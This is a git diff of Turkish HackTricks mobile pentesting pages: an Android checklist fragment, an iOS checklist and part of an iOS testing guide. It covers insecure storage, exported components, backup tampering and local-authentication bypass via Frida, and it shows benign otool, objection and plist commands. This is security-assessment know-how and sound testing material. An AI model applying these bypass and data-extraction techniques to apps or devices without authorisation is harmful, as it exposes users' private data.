- [ ] [Firebase](android-app-pentesting/#firebase) API'lerine özel dikkat.
|
||||
- [ ] [Manifesti okuyun:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
- [ ] Uygulamanın hata ayıklama modunda olup olmadığını kontrol edin ve "istismar" etmeye çalışın.
|
||||
- [ ] APK'nın yedeklemelere izin verip vermediğini kontrol edin.
|
||||
- [ ] Dışa Aktarılan Aktiviteler
|
||||
- [ ] İçerik Sağlayıcıları
|
||||
- [ ] Açık hizmetler
|
||||
- [ ] Yayıncı Alıcılar
|
||||
- [ ] URL Şemaları
|
||||
- [ ] Uygulama [verileri güvensiz bir şekilde iç veya dışa kaydediyor mu](android-app-pentesting/#insecure-data-storage)?
|
||||
- [ ] Herhangi bir [şifre sabit kodlanmış mı veya diske kaydedilmiş mi](android-app-pentesting/#poorkeymanagementprocesses)? Uygulama [güvensiz şifreleme algoritmaları mı kullanıyor](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
- [ ] Tüm kütüphaneler PIE bayrağı kullanılarak mı derlendi?
|
||||
- [ ] Bu aşamada size çok yardımcı olabilecek bir dizi [statik Android Analizörü](android-app-pentesting/#automatic-analysis) olduğunu unutmayın.
|
||||
|
||||
### [Dinamik Analiz](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
- [ ] Ortamı hazırlayın ([çevrimiçi](android-app-pentesting/#online-dynamic-analysis), [yerel VM veya fiziksel](android-app-pentesting/#local-dynamic-analysis))
|
||||
- [ ] Herhangi bir [istenmeyen veri sızıntısı](android-app-pentesting/#unintended-data-leakage) var mı (günlükleme, kopyala/yapıştır, çökme günlükleri)?
|
||||
- [ ] [Gizli bilgilerin SQLite veritabanlarında kaydedilmesi](android-app-pentesting/#sqlite-dbs)?
|
||||
- [ ] [İstismar edilebilir dışa aktarılan Aktiviteler](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
- [ ] [İstismar edilebilir İçerik Sağlayıcıları](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
- [ ] [İstismar edilebilir açık Hizmetler](android-app-pentesting/#exploiting-services)?
|
||||
- [ ] [İstismar edilebilir Yayıncı Alıcılar](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
- [ ] Uygulama [bilgileri düz metin olarak mı iletiyor/güçsüz algoritmalar mı kullanıyor](android-app-pentesting/#insufficient-transport-layer-protection)? Bir MitM mümkün mü?
|
||||
- [ ] [HTTP/HTTPS trafiğini inceleyin](android-app-pentesting/#inspecting-http-traffic)
|
||||
- [ ] Bu gerçekten önemlidir, çünkü HTTP trafiğini yakalayabilirseniz, yaygın Web güvenlik açıklarını arayabilirsiniz (Hacktricks'in Web güvenlik açıkları hakkında çok fazla bilgisi var).
|
||||
- [ ] Olası [Android İstemci Tarafı Enjeksiyonları](android-app-pentesting/#android-client-side-injections-and-others) kontrol edin (muhtemelen bazı statik kod analizi burada yardımcı olacaktır).
|
||||
- [ ] [Frida](android-app-pentesting/#frida): Sadece Frida, uygulamadan ilginç dinamik veriler elde etmek için kullanın (belki bazı şifreler...)
|
||||
|
||||
### Bazı obfuscation/Deobfuscation bilgileri
|
||||
|
||||
- [ ] [Buradan okuyun](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mobil Güvenlik** konusundaki uzmanlığınızı 8kSec Akademi ile derinleştirin. Kendi hızınıza göre ilerleyerek iOS ve Android güvenliğini öğrenin ve sertifika kazanın:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
- [ ] [N
|
||||
|
||||
@ -1,13 +1,5 @@
|
||||
# iOS Pentesting Kontrol Listesi
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Hazırlık
|
||||
@ -28,21 +20,21 @@ Bugün Erişim Alın:
|
||||
- [ ] [**Önbellek verileri**](ios-pentesting/#cache) hassas bilgileri depolayabilir.
|
||||
- [ ] [**Otomatik anlık görüntüler**](ios-pentesting/#snapshots) görsel hassas bilgileri kaydedebilir.
|
||||
- [ ] [**Anahtar zinciri**](ios-pentesting/#keychain) genellikle telefonun yeniden satılması durumunda bırakılabilecek hassas bilgileri depolamak için kullanılır.
|
||||
- [ ] Özetle, sadece **uygulama tarafından dosya sisteminde kaydedilen hassas bilgileri kontrol edin.**
|
||||
- [ ] Özetle, sadece **uygulama tarafından dosya sisteminde kaydedilen hassas bilgileri kontrol edin**
|
||||
|
||||
### Klavyeler
|
||||
|
||||
- [ ] Uygulama [**özel klavyeleri kullanmaya izin veriyor mu**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
- [ ] Uygulama [**özel klavyelerin kullanılmasına izin veriyor mu**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
- [ ] Hassas bilgilerin [**klavye önbellek dosyalarında**](ios-pentesting/#custom-keyboards-keyboard-cache) kaydedilip kaydedilmediğini kontrol edin.
|
||||
|
||||
### **Günlükler**
|
||||
|
||||
- [ ] [**Hassas bilgilerin kaydedilip kaydedilmediğini**](ios-pentesting/#logs) kontrol edin.
|
||||
- [ ] [**hassas bilgilerin kaydedilip kaydedilmediğini**](ios-pentesting/#logs) kontrol edin.
|
||||
|
||||
### Yedeklemeler
|
||||
|
||||
- [ ] [**Yedeklemeler**](ios-pentesting/#backups) dosya sisteminde kaydedilen **hassas bilgilere erişmek için** kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin).
|
||||
- [ ] Ayrıca, [**yedeklemeler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını **değiştirmek için** kullanılabilir, ardından yedeği telefona **geri yükleyin** ve **değiştirilmiş yapılandırma** **yüklenirken** bazı (güvenlik) **işlevsellik** **atlatılabilir.**
|
||||
- [ ] Ayrıca, [**yedeklemeler**](ios-pentesting/#backups) **uygulamanın bazı yapılandırmalarını değiştirmek için** kullanılabilir, ardından yedeği telefona **geri yükleyin** ve **değiştirilmiş yapılandırma** **yüklenirken** bazı (güvenlik) **işlevsellik** **atlatılabilir**.
|
||||
|
||||
### **Uygulama Belleği**
|
||||
|
||||
@ -60,12 +52,12 @@ Bugün Erişim Alın:
|
||||
- [ ] [**Yerel Kimlik Doğrulama Çerçevesi**](ios-pentesting/#local-authentication-framework) kullanıyorsa, kolayca atlatılabilir.
|
||||
- [ ] [**dinamik olarak atlatılabilen bir işlev**](ios-pentesting/#local-authentication-using-keychain) kullanıyorsa, özel bir frida betiği oluşturabilirsiniz.
|
||||
|
||||
### IPC Üzerinden Hassas İşlevsellik Açığa Çıkması
|
||||
### IPC Üzerinden Hassas İşlevsellik Açığa Çıkma
|
||||
|
||||
- [**Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
- [ ] Uygulamanın **herhangi bir protokol/şemayı kaydedip kaydetmediğini** kontrol edin.
|
||||
- [ ] Uygulamanın **herhangi bir protokol/şemayı kullanmak için kaydedilip kaydedilmediğini** kontrol edin.
|
||||
- [ ] Uygulamanın **özel şemadan herhangi bir türde hassas bilgi almayı bekleyip beklemediğini** kontrol edin; bu bilgi, aynı şemayı kaydeden başka bir uygulama tarafından **yakalanabilir.**
|
||||
- [ ] Uygulamanın **özel şemadan herhangi bir türde hassas bilgi almayı bekleyip beklemediğini** kontrol edin; bu bilgi, aynı şemayı kaydeden başka bir uygulama tarafından **yakalanabilir**.
|
||||
- [ ] Uygulamanın **özel şema aracılığıyla kullanıcı girişini kontrol edip temizlemediğini** ve bazı **açıkların istismar edilebileceğini** kontrol edin.
|
||||
- [ ] Uygulamanın **herhangi bir hassas eylemi** özel şema aracılığıyla her yerden çağrılabilir şekilde **açıkça sunduğunu** kontrol edin.
|
||||
- [**Evrensel Bağlantılar**](ios-pentesting/#universal-links)
|
||||
@ -80,12 +72,12 @@ Bugün Erişim Alın:
|
||||
- [ ] Uygulamanın **genel panodaki verileri herhangi bir şey için kullanıp kullanmadığını** kontrol edin.
|
||||
- [ ] Herhangi bir **hassas verinin kopyalanıp kopyalanmadığını** görmek için panoyu izleyin.
|
||||
- [**Uygulama Uzantıları**](ios-pentesting/ios-app-extensions.md)
|
||||
- [ ] Uygulama **herhangi bir uzantı kullanıyor mu?**
|
||||
- [ ] Uygulama **herhangi bir uzantı kullanıyor mu**?
|
||||
- [**Web Görünümleri**](ios-pentesting/ios-webviews.md)
|
||||
- [ ] Hangi tür web görünümlerinin kullanıldığını kontrol edin.
|
||||
- [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumunu kontrol edin.
|
||||
- [ ] Web görünümünün **file://** protokolü ile **yerel dosyalara erişip erişemediğini** kontrol edin (**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`**).
|
||||
- [ ] Javascript'in **Yerel** **yöntemlere** (`JSContext`, `postMessage`) erişip erişemediğini kontrol edin.
|
||||
- [ ] Javascript'in **Yerel** **metotlara** (`JSContext`, `postMessage`) erişip erişemediğini kontrol edin.
|
||||
|
||||
### Ağ İletişimi
|
||||
|
||||
@ -99,11 +91,3 @@ Bugün Erişim Alın:
|
||||
- [ ] [**kötü niyetli üçüncü taraf kütüphaneleri**](ios-pentesting/#third-parties) kontrol edin.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
@ -1,13 +1,5 @@
|
||||
# iOS Pentesting
|
||||
|
||||
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## iOS Temelleri
|
||||
@ -35,12 +27,17 @@ basic-ios-testing-operations.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Aşağıdaki adımlar için **uygulama cihazda kurulu olmalıdır** ve uygulamanın **IPA dosyası** zaten alınmış olmalıdır.\
|
||||
> Aşağıdaki adımlar için **uygulama cihazda yüklü olmalıdır** ve uygulamanın **IPA dosyası** zaten alınmış olmalıdır.\
|
||||
> Bunu nasıl yapacağınızı öğrenmek için [Basic iOS Testing Operations](basic-ios-testing-operations.md) sayfasını okuyun.
|
||||
|
||||
### Temel Statik Analiz
|
||||
|
||||
IPA dosyasına otomatik Statik Analiz gerçekleştirmek için [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) aracını kullanmanız önerilir.
|
||||
Bazı ilginç iOS - IPA dosyası decompiler'ları:
|
||||
|
||||
- https://github.com/LaurieWired/Malimite
|
||||
- https://ghidra-sre.org/
|
||||
|
||||
IPA dosyasına otomatik Statik Analiz yapmak için [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) aracını kullanmanız önerilir.
|
||||
|
||||
**İkili dosyada mevcut olan korumaların tanımlanması**:
|
||||
|
||||
@ -50,7 +47,7 @@ IPA dosyasına otomatik Statik Analiz gerçekleştirmek için [**MobSF**](https:
|
||||
otool -hv <app-binary> | grep PIE # PIE bayrağını içermelidir
|
||||
```
|
||||
|
||||
- **Stack Canaries**: Yığın bütünlüğünü doğrulamak için, bir işlev çağrılmadan önce yığında bir ‘canary’ değeri yerleştirilir ve işlev sona erdiğinde tekrar doğrulanır.
|
||||
- **Stack Canaries**: Yığın bütünlüğünü doğrulamak için, bir işlev çağrılmadan önce yığının üzerine bir ‘canary’ değeri yerleştirilir ve işlev sona erdiğinde tekrar doğrulanır.
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # stack_chk_guard ve stack_chk_fail sembollerini içermelidir
|
||||
@ -138,9 +135,9 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Temel Dinamik Analiz
|
||||
|
||||
[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) tarafından gerçekleştirilen dinamik analizi kontrol edin. Farklı görünümler arasında gezinmeniz ve onlarla etkileşimde bulunmanız gerekecek, ancak diğer şeyleri yaparken birkaç sınıfı bağlayacak ve işiniz bittiğinde bir rapor hazırlayacaktır.
|
||||
[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) tarafından gerçekleştirilen dinamik analizi kontrol edin. Farklı görünümler arasında gezinmeniz ve onlarla etkileşimde bulunmanız gerekecek, ancak diğer şeyleri yaparken birkaç sınıfı hooklayacak ve işiniz bittiğinde bir rapor hazırlayacaktır.
|
||||
|
||||
### Yüklenen Uygulamaları Listeleme
|
||||
### Yüklenen Uygulamaların Listelenmesi
|
||||
|
||||
Yüklenen uygulamaların **bundle identifier**'ını belirlemek için `frida-ps -Uai` komutunu kullanın:
|
||||
```bash
|
||||
@ -155,9 +152,9 @@ PID Name Identifier
|
||||
- Camera com.apple.camera
|
||||
- iGoat-Swift OWASP.iGoat-Swift
|
||||
```
|
||||
### Temel Enumerasyon & Hooking
|
||||
### Temel Sayım & Hooking
|
||||
|
||||
Uygulamanın **bileşenlerini listelemeyi** ve **objection ile yöntemleri ve sınıfları kolayca hooklamayı** öğrenin:
|
||||
Uygulamanın **bileşenlerini saymayı** ve **objection ile yöntemleri ve sınıfları kolayca hook etmeyi** öğrenin:
|
||||
|
||||
{{#ref}}
|
||||
ios-hooking-with-objection.md
|
||||
@ -165,14 +162,14 @@ ios-hooking-with-objection.md
|
||||
|
||||
### IPA Yapısı
|
||||
|
||||
Bir **IPA dosyasının** yapısı esasen bir **ziplenmiş paket** yapısıdır. Uzantısını `.zip` olarak yeniden adlandırarak, içeriğini **açabilirsiniz**. Bu yapının içinde, bir **Bundle**, kurulum için hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `<NAME>.app` adında bir dizin bulacaksınız.
|
||||
Bir **IPA dosyasının** yapısı esasen bir **ziplenmiş paket** yapısıdır. Uzantısını `.zip` olarak değiştirerek, içeriğini **açabilirsiniz**. Bu yapı içinde, bir **Bundle**, kurulum için hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `<NAME>.app` adında bir dizin bulacaksınız.
|
||||
|
||||
- **`Info.plist`**: Bu dosya, uygulamanın belirli yapılandırma ayrıntılarını tutar.
|
||||
- **`_CodeSignature/`**: Bu dizin, paketteki tüm dosyaların bütünlüğünü sağlamak için bir imza içeren bir plist dosyası içerir.
|
||||
- **`_CodeSignature/`**: Bu dizin, bundle içindeki tüm dosyaların bütünlüğünü sağlamak için bir imza içeren bir plist dosyası içerir.
|
||||
- **`Assets.car`**: İkonlar gibi varlık dosyalarını depolayan sıkıştırılmış bir arşivdir.
|
||||
- **`Frameworks/`**: Bu klasör, `.dylib` veya `.framework` dosyaları şeklinde olabilen uygulamanın yerel kütüphanelerini barındırır.
|
||||
- **`PlugIns/`**: Bu, uygulamaya eklemeler içerebilir, bunlar `.appex` dosyaları olarak bilinir, ancak her zaman mevcut olmayabilir. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Birden fazla cihazda verileri senkronize etmek için, Core Data otomatik olarak şemanızı bir CloudKit konteynerine yansıtır.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası, uygulamanızın veya paketinizin türünü ve yaratıcısını belirtmenin alternatif bir yoludur.
|
||||
- **`PlugIns/`**: Bu, uygulamaya eklemeler içerebilir, bunlar `.appex` dosyaları olarak bilinir, ancak her zaman mevcut olmayabilir. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Birden fazla cihazda verileri senkronize etmek için Core Data, şemanızı otomatik olarak bir CloudKit konteynerine yansıtır.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası, uygulamanızın veya bundle'ınızın türünü ve yaratıcısını belirtmenin alternatif bir yoludur.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmediğinde varsayılan bir kaynak içerir.
|
||||
- **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla tüm paketlenmiş dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar.
|
||||
- **Varlık Yönetimi**: `Assets.car` dosyası, grafik varlıkları verimli bir şekilde yönetmek için sıkıştırma kullanır, bu da uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir.
|
||||
@ -183,7 +180,7 @@ Bir **IPA dosyasının** yapısı esasen bir **ziplenmiş paket** yapısıdır.
|
||||
|
||||
**Info.plist**, iOS uygulamaları için bir köşe taşı olarak hizmet eder ve **anahtar-değer** çiftleri biçiminde ana yapılandırma verilerini kapsar. Bu dosya, yalnızca uygulamalar için değil, aynı zamanda içinde paketlenmiş uygulama uzantıları ve frameworkler için de gereklidir. XML veya ikili formatta yapılandırılmıştır ve uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri tutar. Mevcut anahtarların detaylı bir keşfi için [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) adresine başvurabilirsiniz.
|
||||
|
||||
Bu dosya ile daha erişilebilir bir formatta çalışmak isteyenler için, XML dönüşümü macOS'ta (10.2 ve sonraki sürümlerde yerel olarak mevcut) `plutil` kullanılarak veya Linux'ta `plistutil` ile zahmetsizce gerçekleştirilebilir. Dönüşüm için komutlar aşağıdaki gibidir:
|
||||
Bu dosyayla daha erişilebilir bir formatta çalışmak isteyenler için, XML dönüşümü macOS'ta (10.2 ve sonraki sürümlerde yerel olarak mevcut) `plutil` kullanılarak veya Linux'ta `plistutil` ile zahmetsizce gerçekleştirilebilir. Dönüşüm için komutlar aşağıdaki gibidir:
|
||||
|
||||
- **macOS için**:
|
||||
```bash
|
||||
@ -203,11 +200,11 @@ $ grep -i <keyword> Info.plist
|
||||
iOS ortamında, dizinler **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için özel olarak belirlenmiştir. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/var/mobile/containers/Data/Application/` altında yer alır. Bu uygulamalar, dizin adlarının rastgeleliği nedeniyle bir uygulamanın klasörünü manuel olarak bulmayı zorlaştıran **128-bit UUID** olarak bilinen benzersiz bir tanımlayıcıya atanır.
|
||||
|
||||
> [!WARNING]
|
||||
> iOS'taki uygulamalar sandbox'lanmış olmalıdır, bu nedenle her uygulamanın **`$HOME/Library/Containers`** içinde uygulamanın **`CFBundleIdentifier`** olarak adlandırılan bir klasörü de olacaktır.
|
||||
> iOS'taki uygulamalar sandbox'lanmış olmalıdır, bu nedenle her uygulamanın **`$HOME/Library/Containers`** içinde uygulamanın **`CFBundleIdentifier`** olarak adlandırılan bir klasörü olacaktır.
|
||||
>
|
||||
> Ancak, her iki klasör (veri ve konteyner klasörleri) de `MCMetadataIdentifier` anahtarında her iki dosyayı bağlayan **`.com.apple.mobile_container_manager.metadata.plist`** dosyasına sahiptir.
|
||||
> Ancak, her iki klasör (veri ve konteyner klasörleri) de **`.com.apple.mobile_container_manager.metadata.plist`** dosyasına sahiptir ve bu dosya, `MCMetadataIdentifier` anahtarında her iki dosyayı bağlar.
|
||||
|
||||
Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için, **objection tool** yararlı bir komut olan `env` sağlar. Bu komut, söz konusu uygulama için ayrıntılı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır:
|
||||
Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için, **objection aracı** faydalı bir komut olan `env` sağlar. Bu komut, söz konusu uygulama için ayrıntılı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
@ -241,7 +238,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Kullanıcı tarafından oluşturulan tüm verileri içerir. Uygulama son kullanıcısı bu verilerin oluşturulmasını başlatır.
|
||||
- Kullanıcılara görünür ve **kullanıcılar buna yazabilir**.
|
||||
- Bu dizindeki içerik **yedeklenir**.
|
||||
- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını kullanarak yolları devre dışı bırakabilir.
|
||||
- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını yaparak yolları devre dışı bırakabilir.
|
||||
- **Library/**
|
||||
- **Kullanıcıya özel olmayan** tüm **dosyaları** içerir, örneğin **önbellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları.
|
||||
- iOS uygulamaları genellikle `Application Support` ve `Caches` alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir.
|
||||
@ -254,10 +251,10 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Uygulamanın çalışması için gerekli **kalıcı** **dosyaları** içerir.
|
||||
- **Kullanıcılara görünmez** ve kullanıcılar buna yazamaz.
|
||||
- Bu dizindeki içerik **yedeklenir**.
|
||||
- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını kullanarak yolları devre dışı bırakabilir.
|
||||
- Uygulama, `NSURLIsExcludedFromBackupKey` ayarını yaparak yolları devre dışı bırakabilir.
|
||||
- **Library/Preferences/**
|
||||
- Uygulama yeniden başlatılsa bile **kalıcı** olabilen özellikleri saklamak için kullanılır.
|
||||
- Bilgiler, şifrelenmemiş olarak, uygulama sandbox'ında \[BUNDLE_ID].plist adlı bir plist dosyasında saklanır.
|
||||
- Bilgiler, şifrelenmemiş olarak, uygulama kumanda alanında \[BUNDLE_ID].plist adlı bir plist dosyasında saklanır.
|
||||
- `NSUserDefaults` kullanılarak saklanan tüm anahtar/değer çiftleri bu dosyada bulunabilir.
|
||||
- **tmp/**
|
||||
- Uygulama başlatmaları arasında kalıcı olması gerekmeyen **geçici dosyalar** yazmak için bu dizini kullanın.
|
||||
@ -282,7 +279,7 @@ Regular 420 None ... README.txt
|
||||
```
|
||||
### İkili Tersine Mühendislik
|
||||
|
||||
`<application-name>.app` klasörünün içinde `<application-name>` adında bir ikili dosya bulacaksınız. Bu, **çalıştırılacak** dosyadır. İkili dosyanın temel bir incelemesini **`otool`** aracıyla gerçekleştirebilirsiniz:
|
||||
`<application-name>.app` klasörünün içinde `<application-name>` adında bir ikili dosya bulacaksınız. Bu, **çalıştırılacak** dosyadır. İkili dosyanın temel bir incelemesini **`otool`** aracıyla yapabilirsiniz:
|
||||
```bash
|
||||
otool -Vh DVIA-v2 #Check some compilation attributes
|
||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
@ -360,14 +357,6 @@ double _field2;
|
||||
```
|
||||
Ancak, ikili dosyayı parçalamak için en iyi seçenekler: [**Hopper**](https://www.hopperapp.com/download.html?) ve [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||||
|
||||
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
|
||||
|
||||
## Veri Depolama
|
||||
|
||||
iOS'un cihazda verileri nasıl depoladığını öğrenmek için bu sayfayı okuyun:
|
||||
@ -378,13 +367,13 @@ ios-basics.md
|
||||
|
||||
> [!WARNING]
|
||||
> Bilgileri depolamak için aşağıdaki yerler **uygulama yüklendikten hemen sonra**, **uygulamanın tüm işlevleri kontrol edildikten sonra** ve hatta **bir kullanıcıdan çıkış yapıldıktan ve farklı bir kullanıcıya giriş yapıldıktan sonra** kontrol edilmelidir.\
|
||||
> Amaç, uygulamanın (şifreler, token'lar), mevcut kullanıcının ve daha önce giriş yapmış kullanıcıların **korumasız hassas bilgilerini** bulmaktır.
|
||||
> Amaç, uygulamanın (şifreler, tokenlar), mevcut kullanıcının ve daha önce giriş yapmış kullanıcıların **korumasız hassas bilgilerini** bulmaktır.
|
||||
|
||||
### Plist
|
||||
|
||||
**plist** dosyaları, **anahtar-değer çiftleri** içeren yapılandırılmış XML dosyalarıdır. Kalıcı verileri depolamanın bir yoludur, bu nedenle bazen bu dosyalarda **hassas bilgiler bulabilirsiniz**. Uygulamayı yükledikten sonra ve yoğun bir şekilde kullandıktan sonra bu dosyaları kontrol etmeniz önerilir.
|
||||
|
||||
Plist dosyalarında verileri kalıcı hale getirmenin en yaygın yolu **NSUserDefaults** kullanmaktır. Bu plist dosyası, uygulama kumandasının içinde **`Library/Preferences/<appBundleID>.plist`** konumunda kaydedilir.
|
||||
plist dosyalarında verileri kalıcı hale getirmenin en yaygın yolu **NSUserDefaults** kullanmaktır. Bu plist dosyası, uygulama kumandasının içinde **`Library/Preferences/<appBundleID>.plist`** konumunda kaydedilir.
|
||||
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) sınıfı, varsayılan sistemle etkileşim kurmak için programatik bir arayüz sağlar. Varsayılan sistem, bir uygulamanın **kullanıcı tercihleri** doğrultusunda davranışını özelleştirmesine olanak tanır. `NSUserDefaults` ile kaydedilen veriler uygulama paketinde görüntülenebilir. Bu sınıf, **plist** **dosyasında** **veri** depolar, ancak küçük miktarlardaki verilerle kullanılmak üzere tasarlanmıştır.
|
||||
|
||||
@ -396,7 +385,7 @@ Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için `/private
|
||||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
**XML veya ikili (bplist) formatındaki dosyaları XML'e dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:**
|
||||
**XML veya ikili (bplist) formatındaki dosyaları XML'ye dönüştürmek için, işletim sisteminize bağlı olarak çeşitli yöntemler mevcuttur:**
|
||||
|
||||
**macOS Kullanıcıları için:** `plutil` komutunu kullanın. Bu, macOS'ta (10.2+) bu amaç için tasarlanmış yerleşik bir araçtır:
|
||||
```bash
|
||||
@ -413,8 +402,8 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
||||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) uygulamanızdaki nesnelerin model katmanını yönetmek için bir çerçevedir. [Core Data, kalıcı depolama olarak SQLite kullanabilir](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ancak çerçeve kendisi bir veritabanı değildir.\
|
||||
CoreData varsayılan olarak verilerini şifrelemez. Ancak, CoreData'ya ek bir şifreleme katmanı eklenebilir. Daha fazla ayrıntı için [GitHub Repo](https://github.com/project-imas/encrypted-core-data) sayfasına bakın.
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1), uygulamanızdaki nesnelerin model katmanını yönetmek için bir çerçevedir. [Core Data, kalıcı depolama olarak SQLite kullanabilir](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ancak çerçeve kendisi bir veritabanı değildir.\
|
||||
